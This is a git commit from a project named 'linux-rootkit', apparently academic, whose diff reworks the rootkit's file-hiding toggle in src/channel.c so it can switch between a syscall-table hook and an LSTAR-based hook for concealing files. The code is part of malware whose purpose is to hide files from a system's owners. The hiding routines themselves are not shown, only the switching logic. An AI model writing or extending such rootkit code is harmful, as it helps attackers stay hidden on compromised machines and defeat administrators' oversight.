linux-rootkit

commit 5d167742578f2da77e81e9c61f12125034bc5fb2
parent 6d6245ba66ce76362c89d51607113d7c9a871c82
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 23:35:11 +0100

implements new filehide toggling

Diffstat:
M
src/channel.c
 | 
25
+++++++++++++++++++------

1 file changed, 19 insertions(+), 6 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -123,15 +123,28 @@ handle_modhide(unsigned long arg)
 int
 handle_filehide(unsigned long arg)
 {
+    static fh_state_t last_state
+        = rootkit.hiding_files == FH_OFF ? FH_TABLE : rootkit.hiding_files;
+
     long sarg = (long)arg;
     bool set = rootkit.hiding_files;
 
-    if (sarg > 0 || (!sarg && (set ^ 1))) {
-        hide_files();
-        rootkit.hiding_files = 1;
-    } else if (sarg < 0 || (!sarg && !(set ^ 1))) {
-        unhide_files();
-        rootkit.hiding_files = 0;
+    if (sarg > 0 || (!sarg && !set)) {
+        rootkit.hiding_files = last_state;
+
+        switch (rootkit.hiding_files) {
+        case FH_TABLE: hide_files();       break;
+        case FH_LSTAR: hide_files_lstar(); break;
+        default: break;
+        }
+    } else if (sarg < 0 || (!sarg && set)) {
+        switch (rootkit.hiding_files) {
+        case FH_TABLE: unhide_files();       break;
+        case FH_LSTAR: unhide_files_lstar(); break;
+        default: break;
+        }
+
+        rootkit.hiding_files = FH_OFF;
     }
 
     DEBUG_NOTICE("[g7] filehide %s\n", rootkit.hiding_files ? "on" : "off");